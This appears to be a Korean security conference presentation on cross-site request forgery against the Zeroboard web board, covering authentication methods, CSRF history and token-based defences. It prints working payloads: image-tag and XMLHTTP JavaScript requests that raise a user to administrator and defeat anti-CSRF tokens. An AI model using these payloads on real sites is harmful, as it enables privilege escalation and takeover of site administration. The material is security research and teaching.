Web 2.0 CSRF exploitation

Similar documents
제목 레이아웃

Secure Programming Lecture1 : Introduction

Microsoft Word - 제로보드 XE_CSRF증명.doc

EDB 분석보고서 (04.06) ~ Exploit-DB( 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

PowerPoint 프레젠테이션

C H A P T E R 2

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

3장

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

EDB 분석보고서 (06.07) ~ Exploit-DB( 에공개된취약점별로분류한정보입니다 SQL Injection 하중 index.php SQL Injection 취

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

게시판 스팸 실시간 차단 시스템

PowerPoint Template

PowerPoint Template

슬라이드 1

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

Windows 8에서 BioStar 1 설치하기

Microsoft PowerPoint - web-part03-ch19-node.js기본.pptx

Observational Determinism for Concurrent Program Security

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

Microsoft PowerPoint - web-part03-ch20-XMLHttpRequest기본.pptx

76 XSS 하 Huge-IT Slider admin.php XSS

Web Scraper in 30 Minutes 강철

EDB 분석보고서 (06.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대프로그램대환경 File Upload 하 C

EDB 분석보고서 (0.0) 0.0.0~0.0. Exploit-DB( 에공개된별로분류한정보입니다. 날짜 EDB 번호분류공격난이도공격위험도이름핵심공격코드대상프로그램대상환경 SQL Injection 중상 Absolu

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

PowerPoint 프레젠테이션

2009년 상반기 사업계획

0. 들어가기 전

<4D F736F F D2033BFF920BECBBEE0BFF9B0A3BAB8B0EDBCAD2E646F6378>

PowerPoint Presentation

품질검증분야 Stack 통합 Test 결과보고서 [ The Bug Genie ]

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

로거 자료실

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

bn2019_2

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

Microsoft PowerPoint - 04-UDP Programming.ppt

AhnLab_template

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

EDB 분석보고서 (04.09) ~ Exploit-DB( 에공개된취약점별로분류한정보입니다 SQL Injection Like Dislike Counter..3 Plugin - ajax_coun

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

SRC PLUS 제어기 MANUAL

1217 WebTrafMon II

SKINFOSEC-CHR-028-ASP Mssql Cookie Sql Injection Tool 분석 보고서.doc

HTML5가 웹 환경에 미치는 영향 고 있어 웹 플랫폼 환경과는 차이가 있다. HTML5는 기존 HTML 기반 웹 브라우저와의 호환성을 유지하면서도, 구조적인 마크업(mark-up) 및 편리한 웹 폼(web form) 기능을 제공하고, 리치웹 애플리케이 션(RIA)을

<4D F736F F F696E74202D E20C0CEC5CDB3DD20C0C0BFEB20B9D720BCADBAF1BDBA20B1E2BCFA E >

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Javascript.pages

Microsoft Word - CrossSiteScripting[XSS].docx

초보자를 위한 ASP.NET 2.0

rmi_박준용_final.PDF

36802 Tune Library / 중 NEX-Forms < admin-ajax.php 하 중 Ultimate Product Catalogue - / 하 중 Ultimate Product Catalogue - ad

untitled

FileMaker 15 WebDirect 설명서

0125_ 워크샵 발표자료_완성.key

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

Dialog Box 실행파일을 Web에 포함시키는 방법

untitled

14-Servlet

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

BEef 사용법.pages

SMB_ICMP_UDP(huichang).PDF

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

PowerPoint 프레젠테이션

ÀÎÅÍ³Ý ÁøÈï¿ø 5¿ù

Cookie Spoofing.hwp

C# Programming Guide - Types

2파트-07

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

Microsoft PowerPoint 세션.ppt

untitled

Microsoft PowerPoint - 웹프로그래밍_ ppt [호환 모드]

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W


Microsoft Word - src.doc

Spring Boot/JDBC JdbcTemplate/CRUD 예제

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

ÀÎÅÍ³Ý ÁøÈï¿ø 3¿ù ÀúÇØ»ó

Adobe Flash 취약점 분석 (CVE )

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

표준프레임워크로 구성된 컨텐츠를 솔루션에 적용하는 것에 문제가 없는지 확인

CD-RW_Advanced.PDF

오늘날의 기업들은 24시간 365일 멈추지 않고 돌아간다. 그리고 이러한 기업들을 위해서 업무와 관련 된 중요한 문서들은 언제 어디서라도 항상 접근하여 활용이 가능해야 한다. 끊임없이 변화하는 기업들 의 경쟁 속에서 기업내의 중요 문서의 효율적인 관리와 활용 방안은 이

Tablespace On-Offline 테이블스페이스 온라인/오프라인

(Microsoft Word - Cross Environment Hopping-\271\370\277\252.doc)

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Æí¶÷4-¼Ö·ç¼Çc03ÖÁ¾š

구축환경 OS : Windows 7 그외 OS 의경우교재 p26-40 참조 Windows 의다른버전은조금다르게나타날수있음 Browser : Google Chrome 다른브라우저를사용해도별차이없으나추후수업의모든과정은크롬사용 한


MasoJava4_Dongbin.PDF

Modern Javascript

인터넷 비즈니스의 필수 요소, 트랜잭션 시큐리티 서비스 인터넷 비즈니스는 기업 영리 활동에 있어서 부가적인 서비스가 아닌 사업을 영위해 가는데 중요한 역할을 하고 있습니다. 특히, 인터넷 쇼핑몰, 인터 넷 뱅킹, 사이버 트레이딩, 전자정부서비스, 온라인 게임, 인터넷

NoSQL

Interstage5 SOAP서비스 설정 가이드

Transcription:

Web 2.0 CSRF exploitation (web-board board case study) Bypassing Security Token based Anti-CSRF & Zero board XE -1day Remote exploit

유동훈 - Xpl017Elz (x82) - INetCop Security 연구소장 - http://x82.inetcop.org 운영 - 연구분야 * 웹어플리케이션취약점 * 시스템어플리케이션취약점 * 시스템커널, 라이브러리취약점 * 어플리케이션취약점소스코드분석 * Proof-of of-concept exploit code 개발 - 경력 * WOKSDOME global hacking competition prize * The 1 st KJIST SeeCure-CSRL CSRL Hacking Festival prize * 해외보안회사 Snosoft 의보안권고문검증업무 * Small buffer format string attack paper 해외발표 * Advanced exploitation in exec-shield paper 해외발표

1. IntroductionI What made CSRF exploit rearise?

1-1. 1. 용어설명 - 1세대웹 (Web 1.0) (End 유저기준 ) 사용자에게게시된정보를인터넷으로제공하는고전적인웹서비스. 클라이언트가서버에서제공하는서비스만받을수있음. (Blog( 와같은개념이태어나기전게시판형태의웹서비스 ) - 2세대웹 (Web 2.0) (End 유저기준 ) 사용자참여중심의인터넷환경을뜻하며최근새로운개념으로정립. 사용자가직접데이터를다룰수있음. (Blog( Blog, Wiki 등의사용자참여형웹서비스 ) - 1세대웹과 2세대웹의구분 ( 프로그래머기준 ) AJAX 탄생. 그전과후 - 웹 (Web) 2.0 해킹사용자의웹브라우저환경을이용하는다양한웹해킹공격을뜻함. 대부분기존클라이언트를대상으로하는웹해킹기법과개념은동일하나, 용어적인차이와방법론의차이를가지고있음.

1-2. Cookie 인증 - Cookie 인증 1) 웹사이트가클라이언트사용자를인증하는데있어서대중적으로사용하는인증의한방식. 2) Netscape 사에서처음개발되었음. (RFC 2109) 3) DB 에지속적인인증요청을필요로하지않으므로서버의성능향상 4) 클라이언트 PC 에 Cookie 정보가저장되므로정보노출에의한인증취약점발생 - Cookie 발급과정 : 1) 사용자인증요청 Id=test&pass=password ( 클라이언트요청메시지데이터 ) 2) Database 검색을통해올바른사용자인지여부를판단 Select * from user_db where id= $id and pass= $pass (MySQL DB 의예 ) 3) 올바른사용자인경우, Cookie 데이터 ( 데이터값이큰경우 DB 에저장 ) 를사용자에게발급 Set-Cookie: user cookie data; ( 서버응답메시지헤더 ) 4) 지속적인접속유지를위해사용자브라우저가 Cookie 파일을사용자시스템에저장 C:\Documents and Settings\ 사용자 \Cookies (Windows XP 기준 ) 5) 다음요청부터발급받은 Cookie 데이터를통해정보를요청 Cookie: user cookie data; ( 클라이언트요청메시지헤더 )

1-3. Session 인증 - Session 인증 1) 사전적의미로는어떤특별한목적으로사용자에의해점유되는일정시간을뜻함. 2) 인증제공방식은 Cookie 인증방식과동일하나휘발성데이터형태로발급. 3) 보안성향상 (Cookie 가사용자 PC 내에저장되는것과달리 Session 데이터는서버에저장 ) 4) 클라이언트 PC 에는데이터가포함되지않은 Session 키이름만발급하여인증제공 - Session 발급과정 : 1) 사용자인증요청 Id=test&pass=password ( 클라이언트요청메시지데이터 ) 2) Database 검색을통해올바른사용자인지여부를판단 Select * from user_db where id= $id and pass= $pass (MySQL DB 의예 ) 3) 올바른사용자인경우, 서버웹어플리케이션이 Session 파일을서버시스템에저장 /tmp/sess_ 세션키이름 (PHP session_start() 함수기준 ) 4) 지속적인접속유지를위해저장된 Session Key 이름을사용자에게발급 Set-Cookie: user session key name; ( 서버응답메시지헤더 ) 5) 다음요청부터발급받은 Session Key 이름을통해정보를요청 Cookie: user session key name; ( 클라이언트요청메시지헤더 )

1-4. 웹해킹기법의발전형태 - Cookie Spoofing 취약점인증설정상오류를악용한 Cookie 해킹의한종류. Cookie 내의예측하기쉬운데이터정보를속여본래권한외의접근수행이가능. - Cookie Sniffing 취약점여러가지다양한방법을동원하여타인의 Cookie 데이터를가로채는해킹기법. 가로챈 Cookie 데이터를이용하여본래권한외의접근수행이가능. - XSS (Cross site script) 공격기법취약한웹페이지를이용하여 Cookie, Session sniffing 코드를포함한 URL 또는이미지링크등을사용자에게노출시켜클라이언트브라우저내의데이터를얻어오는류의해킹기법. 해당기법을이용하면사용자의 Cookie 데이터를획득하여인증우회및인증무력화공격을시도할수있음. - CSRF (Cross site Request Forgeries) 공격기법취약한웹페이지를이용하여권한을도용하는가짜요청문을클라이언트의웹브라우저상에서실행되도록유도하는해킹기법. 해당기법을이용하면타인의권한으로원하는 HTTP 요청문을수행할수있음. - XST (Cross site Tracing) 공격기법웹서버의 TRACE method 특성을이용하여접근이불가능한 Cookie 데이터를얻어오는해킹기법.

1-5. 보안이강화된인증기법 - HttpOnly 쿠키인증기법 클라이언트웹브라우저가 Javascript 를통해 cookie 에접근하지못하도록제어하여취약점을차단하는방법. MS 사의 IE6 SP1 웹브라우저부터지원된이보안정책은 XSS 공격을차단하기위한프로젝트의일환으로보다안전한 cookie 데이터를생성할수있다. ( 참고자료 : Mitigating Cross-site site Scripting With HTTP-only Cookies.. MSDN Library. http://msdn.microsoft.com/en-us/library/ms533046.aspx us/library/ms533046.aspx) - HttpOnly 쿠키무력화기법 : XST (Cross site Tracing) 공격 과거에는 XHR (XMLHttpRequest( XMLHttpRequest) 를이용한 XST 공격이가능했다. 그러나 2007 년 08 월 MS 보안업데이트가적용된이후부터는공격이주춤한상태이다. 그이유는 XMLHTTP.open() 함수가 TRACE method 를지원하지않도록변경되면서공격이어려워졌기때문이다. ( 참고자료 : Cross-Site Tracing (XST). Jeremiah Grossman. Jan 20 2003) ( 참고자료 : XS(T) attack variants which can, in some cases, eliminate the need for TRACE. Amit Klein. Jan 26 2003) ( 참고자료 : XST Strikes Back. Amit Klein. Jan 25 2006 )

1-5. 보안이강화된인증기법 - 사용자로그인 IP 체크기법 사용자의로그인인증시 IP 를세션데이터에기록한후서비스페이지에접속한 IP 와비교하여다른 IP 의접속이시도되었을경우이를차단하고 Session 을소멸시키는방법. 현재국내몇몇웹메일에적용된상태이며웹게시판중에는제로보드시스템이이러한 IP 체크기능을보안인증으로사용하고있다. ( 장점 : Cookie Spoofing, Cookie Sniffing, XSS 공격시도를차단할수있음.) - 사용자로그인 IP 체크기법 : CSRF (Cross site Request Forgeries) 공격 매서비스페이지마다접속한 IP 와비교하므로 XSS 기법으로페이지에접근하는것은불가능하다. 이러한보안인증을우회하기위해가짜요청문을클라이언트의웹브라우저상에서실행시킬수있는 CSRF 기법이재활용되었다. ( 참고자료 : Zeroboard IP session bypass XSS vulnerability. INetCop Security. Mar 12 20062 http://x82.inetcop.org/h0me/adv1sor1es/incsa.2006-0x82 0x82-029-zeroboard.txt)

2. Web 1.0 CSRF exploitation Why need CSRF exploit?

2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격의역사 현재 Cross Site Reference Forgery, Session Riding, Sea Surf, iframe exploit 등그밖에다양한이름으로불리고있으나 2001 년도에처음으로발표된자료에명시된정식명칭은 Cross site Request Forgeries 이다. 해당명칭을약자로줄여 CSRF 또는 XSRF 로부르고있다. Cross-Site Request Forgeries (sea surf). Peter W. Jun 13 2001. Session Riding. Thomas Schreiber. Dec 2004. Cross Site Reference Forgery. Jesse Burns (isec( isec). 2005. MySpace CSRF/XSS Samy worm. 2005. Zeroboard 4.1 pl7 iframe exploit. INetCop Security. Mar 12 2006. CSRF added as A5 on the OWASP Top 10. OWASP. 2007. auction.co.kr Chinese Hacker steals user information on 18 MILLION. Feb 12 2008. 08.

2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격원리 제로보드 4.1 의관리자기능중게시판에가입된일반사용자의권한을관리자로변경하는 POST 요청문이다음과같다고가정하자. ( 참고로, 실제제로보드 4.1 의요청문은 multipart/form-data 형식으로넘어감 ) POST http://zb.inetcop.org/bbs/admin_setup.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: http://zb.inetcop.org Content-Length: Cookie: PHPSESSID=848db2e9c1949f6d17e0fcadc436bdc4; exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2& is_admin=1&level=1&name=test&email=name@addr.com&comment=test

2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격원리 앞서 POST 요청문은 member_no 값이 2인 test 사용자를관리자권한으로 (is_admin 을 1로설정, level 을 1로설정 ) 설정한다. 해당요청문을사용자브라우저내에서몰래실행할수있도록 GET method 동작코드를만들면다음과같다. (<IMG> 태그나 <IFRAME>, <SCRIPT> 태그를이용하여공격코드작성이가능함 ) <IMG src= http://zb.inetcop.org/bbs/admin_setup.php?exec=view_member& exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1& name=test&email=name@addr.com&comment=test width=0 height=0> 이렇게작성된 IMG 태그 (GET 요청문 ) 를관리자의웹브라우저에서실행하기위해관리자에게쪽지를보낼때삽입하거나게시글에숨겨공격을시도할수있다. 실제전달되는 GET 요청문은다음과같을것이다. GET http://zb.inetcop.org/bbs/admin_setup.php?exec=view_member& exec2=modify_member_ok&group_no=1&member_no=2&is_admin=1&level=1& name=test&email=name@addr.com&comment=test HTTP/1.0 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: http://zb.inetcop.org Content-Length: Cookie: PHPSESSID=848db2e9c1949f6d17e0fcadc436bdc4;

2. Web 1.0 CSRF 공격기법 - CSRF (Cross site Request Forgeries) 공격순서 1) 권한수행시웹서버로전달되는요청문을추출한다. 2) 추출한요청문을 <IMG> 태그나 <IFRAME> 태그로재구성한다. 3) 작성한공격태그를원하는클라이언트브라우저에서실행될수있도록대상사용자의접근을유도한다. 4) 사용자가공격태그를브라우저에서실행시키면해커가원하는요청문이수행된다. 5) Cookie 나 Session Key 에대한직접적인접근없이도악의적인해커에게권한이넘어간다. - CSRF (Cross site Request Forgeries) 공격대상 인증이구현된모든웹. ( 웹게시판, 블로그, 카페, 웹메일, 웹쇼핑몰, 검색엔진등 ) 차후각종 SPAM 공격, 관리자권한획득, 검색순위조작, 웜바이러스등으로악용될소지가매우높다. ( 또한, 웹인터페이스를지원하는라우터, 공유기해킹에도사용됨 )

2. Web 1.0 CSRF 공격기법 - 실제 CSRF (Cross site Request Forgeries) 공격 제로보드 4.1 pl8 게시판은 IP 체크보안기능이활성화되어있어 XSS 공격을시도하기어렵다. 다음코드는로그인후세션을처리하는 /bbs/login_check.asp 코드내용중일부이다. 25 if($member_data[no]) { 26 27 if($auto_login) { 28 makezbsessionid($member_data[no]); 29 } 30 31 // 4.0x 용세션처리 32 $zb_logged_no = $member_data[no]; 33 $zb_logged_time = time(); 34 $zb_logged_ip = $REMOTE_ADDR; <- 로긴시, IP 기록 35 $zb_last_connect_check = '0'; 위와같이로그인시 session 데이터에기록한 IP 주소는서비스페이지접속 IP 와비교하여다를경우 session key 를소멸시킨다. 다음코드는해당역할을수행하는 /bbs/lib.php 코드내용중일부이다. 97 // 로그인시간이지정된시간을넘었거나로그인아이피가현재사용자의아이피와다를경우로그아웃시킴 98 if(time()-$http_session_vars["zb_logged_time"]>$_zbdefaultsetup["login_time"] $HTTP_SESSION_VARS["zb_logged_ip"]!=$REMOTE_ADDR) { 99 100 $zb_logged_no=""; 101 $zb_logged_time=""; 102 $zb_logged_ip=""; <- 세션최기화 103 session_register("zb_logged_no");

- Demonstration of Web 1.0 CSRF exploitation - Zero board 4.1 pl8-1day Remote POC exploit (0x82-zer04.1pl8_CSRF.c)

3. Anti-CSRF Protection Security Token based Anti-CSRF Protection

3. Anti-CSRF 보안기법 - CSRF protection (anti-csrf) 기법소개 1) POST method only 공격을어렵게하기위해모든요청을 POST 만사용하도록권고했지만 CSRF 를차단할수있는방법은아니다. 2) Referer 체크과거에는매우효과적인방어기법이었다. 그러나 Referer 역시조작이가능하다는사실이밝혀지면서완벽한차단이힘들어졌다. ( 참고자료 : Exploiting the XmlHttpRequest object in IE - Referrer spoofing. Amit Klein. Sep 24 2005) ( 참고자료 : Sending arbitrary HTTP requests with Flash 7/8 (+IE 6.0). Amit Klein. Aug 16 2006) ( 참고자료 : HTTP Header Injection Vulnerabilities in the Flash Player Plugin.. Rapid7. Oct 17 2006) 3) One time authorization Security Token 사용 Peter W 가제안했던것처럼 action 이필요한모든서비스페이지에 Security Token 을넣어확인하는방법이다. 이기술은현재안전한보안방법으로널리알려져있는편이다. ( 참고자료 : Security Corner: Cross-Site Request Forgeries. Chris Shiflett.. Dec 13 2004) ( 참고자료 : Cross Site Reference Forgery. Jesse Burns (isec( isec). 2005)

3. Anti-CSRF 보안기법 - One time authorization Security Token 보안원리 Chris Shiflett 의 Token 코딩예제를보면매우쉽게이해할수있다. Action 이수행되는모든서비스페이지에추가하여 CSRF 에보다안전한웹페이지를만들수있다. <? // PHP 예제 session_start(); $tokn=md5(uniqid(rand(),true)); // 매번 random 하게생성된보안인증토큰 $_SESSION['tokn']=$tokn;?> <form action='action.php' method='post'> <input type=hidden name=tokn value='<? echo $tokn?>'> Action 이수행되는 form 에 random 하게생성된 Security Token 이 POST 로넘어오도록구성한다. 정보를입력받는페이지에서는넘어온토큰이유효한지검사하는루틴을추가한다. <? session_start(); if(isset($_session['tokn'])&&$_post['tokn']==$_session['tokn']){ 정상루틴수행 } else echo " 토큰값오류 ";?>

3. Anti-CSRF 보안기법 - One time authorization Security Token 보안솔루션소개 1) Anti-CSRF 루틴예제 http://www.t3-design.com/tag/anti design.com/tag/anti-csrf/ csrf/ http://rgaucher.info/post/2007/08/08/anti-csrf CSRF-and-static-pages http://www.businessinfo.co.uk/labs/csrf_defend/csrf_demos.php 2) Anti-CSRF 솔루션 CSRF Killer - http://activereload.net/2007/3/6/your-requests requests-are-safe-with-us CSRF Guard - http://www.owasp.org/index.php/csrf_guard

4. Anti-CSRF Protection bypass! Bypass Security Token based Anti-CSRF Protection

4. Anti-CSRF 우회공격기법 - Anti-CSRF 우회공격의원리 다음과같이제로보드 4.1 게시판에 Anti-CSRF CSRF One time Security Token 을추가하였다. 이렇게 Security Token 이추가된웹어플리케이션은고전적인 CSRF 기법으로는공격하기어렵다. <form name=write method=post action=/bbs/admin_setup.php submit();"> <input type=hidden name=exec value=view_member> <input type=hidden name=exec2 value=modify_member_ok> <input type=hidden name=group_no value=1> <input type=hidden name=member_no value=2> <input type=hidden name=page value=1> <input type=hidden name=page_num value=10> <input type=hidden name=keykind value=> <input type=hidden name=keyword value=> <input type=hidden name=like value=> <input type=hidden name=token value=392373b9e18d11892451e38178fc6c74> 앞서공격과같이 <IMG>, <IFRAME> 태그를이용하여공격을시도할경우, 매번 random 하게변경되는 Security Token 값을예측할수없으므로 exploit 자체가불가능하다.

4. Anti-CSRF 우회공격기법 - Anti-CSRF 우회공격의원리 Anti-CSRF 루틴을우회하기위해서는 AJAX 의 XMLHTTP, XHR(XMLHttpRequest) 가필요하다. XHR 를이용하면 GET/POST method 를매우편리하게사용할수있다. 고전적인 CSRF exploit 이일방적으로데이터를보내기만했다면, AJAX 의 XHR 를이용한 Web 2.0 CSRF exploit 은데이터통신이가능하다. var req = new ActiveXObject("Microsoft.XMLHTTP"); req.open("get","/bbs/admin_setup.php?exec=view_member&group_no=1&ex ec2=modify&no=2",false); // 매번새롭게생성되는 Security Token 을구함 req.send(); var token=req.responsetext; token=token.substring(token.indexof("token value=")); token=token.substring(12,token.indexof(">")); // Security Token 만추출 var req = new ActiveXObject("Microsoft.XMLHTTP"); req.open("post","/bbs/admin_setup.php",false); req.setrequestheader("content-type","application/x-www-form-urlencoded"); req.send("token="+token+"&exec=view_member&exec2=modify_member_ok&gro up_no=1&member_no=2&is_admin=1&level=1&name=exploit&email=name@mail.c om&comment=test"); // POST 데이터에앞서얻은 Security Token 을추가해서보냄

4. Anti-CSRF 우회공격기법 - Anti-CSRF 우회공격의원리 실제제로보드에사용할경우, <IMG> 태그내에서 Javascript 를불러오면공격코드를작성할수있다. 앞서 AJAX 공격코드를 <IMG> 태그로재작성하여완성된 exploit 코드는다음과같다. <img src="javascript:var req=new ActiveXObject('Microsoft.XMLHTTP'); req.open('get','/bbs/admin_setup.php?exec=view_member&group_no=1&exe c2=modify&no=2',false); req.send(); var token=req.responsetext; token=token.substring(token.indexof('token value=')); token=token.substring(12,token.indexof('>')); var req=new ActiveXObject('Microsoft.XMLHTTP'); req.open('post','/bbs/admin_setup.php',false) req.setrequestheader('content-type','application/x-www-form-urlencoded'); req.send('token='+token+'&exec=view_member&exec2=modify_member_ok&grou p_no=1&member_no=2&is_admin=1&level=1&name=x0x&email=x@0.x&comment= x0x');" width=0 height=0> 이로써 Security Token 이매번 random 하게변경되더라도아무런문제없이 exploit 이가능하다. AJAX 를이용한 Web 2.0 공격코드는이밖에도다양한곳에응용될수있을것이다. ( 기존에공격하기어려웠던 Blind CSRF exploit 이가능함 )

-Demonstration of Anti-CSRF bypass exploitation - Zero board 4.1 pl8 (patch version) POC exploit (0x82-zer04.1pl8_antiCSRFbypass.c)

5. Web 2.0 CSRF exploitation!! Zeroboard XE XMLHTTP exploit

5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 제로보드 XE 게시판역시 4.1 게시판과마찬가지로 IP 체크보안기능이활성화되어있어 XSS 공격을시도하기어렵다. 다음코드는제로보드 XE 게시판에로그인후세션을처리하는 modules/member/member.controller.php member.controller.php 코드내용중일부이다. 958 /** 959 * @brief 세션정보갱신또는생성 960 **/ 961 function setsessioninfo($member_info = null) { 962 $omembermodel = &getmodel('member'); 963... 985 // 로그인처리를위한세션설정 986 $_SESSION['is_logged'] = true; 987 $_SESSION['ipaddress'] = $_SERVER['REMOTE_ADDR']; 988 $_SESSION['member_srl'] = $member_info->member_srl; 989 $_SESSION['is_admin'] = false; 990 참고로 $_SERVER[ REMOTE_ADDR REMOTE_ADDR ] 변수에는자동적으로웹서버에접속한클라이언트의 IP 가저장되어있다.

5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격 앞서로그인시 session 데이터에기록한 IP 주소는서비스페이지접속 IP 와비교하여다를경우 session key 를소멸시킨다. 다음코드들은해당역할을수행하는코드내용일부이다. modules/member/member.model.php:... 104 /** 105 * @brief 로그인되어있는지에대한체크 106 **/ 107 function islogged() { 108 if($_session['is_logged']&& $_SESSION['ipaddress']==$_SERVER['REMOTE_ADDR']) return true; 109 $_SESSION['is_logged'] = false; 110 $_SESSION['logged_info'] = ''; 111 return false; 112 }... modules/session/session.controller.php:... 24 function write($session_key, $val) {... 30 if($session_info->session_key == $session_key && $session_info->ipaddress!= $_SERVER['REMOTE_ADDR']) { 31 executequery('session.deletesession', $args); 32 return true; 33 }...

5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격원리 제로보드 XE 의관리자기능중게시판에가입된일반사용자의권한을관리자로변경하는 POST 요청문은다음과같다. ( 참고로, 제로보드 XE 의 POST 요청문은 PHP XML Library 로인해데이터가 XML 엘리먼트형식으로넘어감 ) POST http://zb.inetcop.org/~board/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: http://zb.inetcop.org Content-Length: Cookie: PHPSESSID=9be8b420cd6861ba7c1c4d5cc218f6db; <?xml version="1.0" encoding="utf-8"?> <methodcall> <params> <member_srl><![cdata[87]]></member_srl> <user_id><![cdata[test]]></user_id> <is_admin><![cdata[y]]></is_admin> <group_srl_list><![cdata[1]]></group_srl_list>

5. Web 2.0 CSRF 공격기법 - 제로보드 XE CSRF (Cross site Request Forgeries) 공격원리 제로보드 XE 는 XML 라이브러리사용으로인해고전적인 CSRF 공격기법을시도할수없다. 그이유는 XML 엘리먼트형식으로전달하는공격태그작성이힘들기때문이다. 앞서 XML 형식의요청문을사용자브라우저내에서실행할수있도록 AJAX(XMLHTTP) 로작성한코드는다음과같다. var req=new ActiveXObject("Microsoft.XMLHTTP"); req.open("post","/~board/",true); req.send("<?xml version='1.0' encoding='utf-8'?>\r\n<methodcall>\r\n<params>\r\n <member_srl><![cdata[87]]></member_srl>\r\n <user_id><![cdata[test]]></user_id>\r\n <user_name><![cdata[test]]></user_name>\r\n <nick_name><![cdata[test]]></nick_name>\r\n <email_address><![cdata[x0x@x0x.x0x]]></email_address>\r\n <is_admin><![cdata[y]]></is_admin>\r\n <group_srl_list><![cdata[1]]></group_srl_list>\r\n <module><![cdata[member]]></module>\r\n <act><![cdata[procmemberadmininsert]]></act>\r\n</params>\r\n</methodcall>"); 위요청문을살펴보면 <member_srl> 값이 87 인 test 사용자를관리자권한으로 (<is_admin is_admin> 을 Y로설정, <group_srl_list< group_srl_list> 를 1로설정 ) 설정하는것을볼수있다.

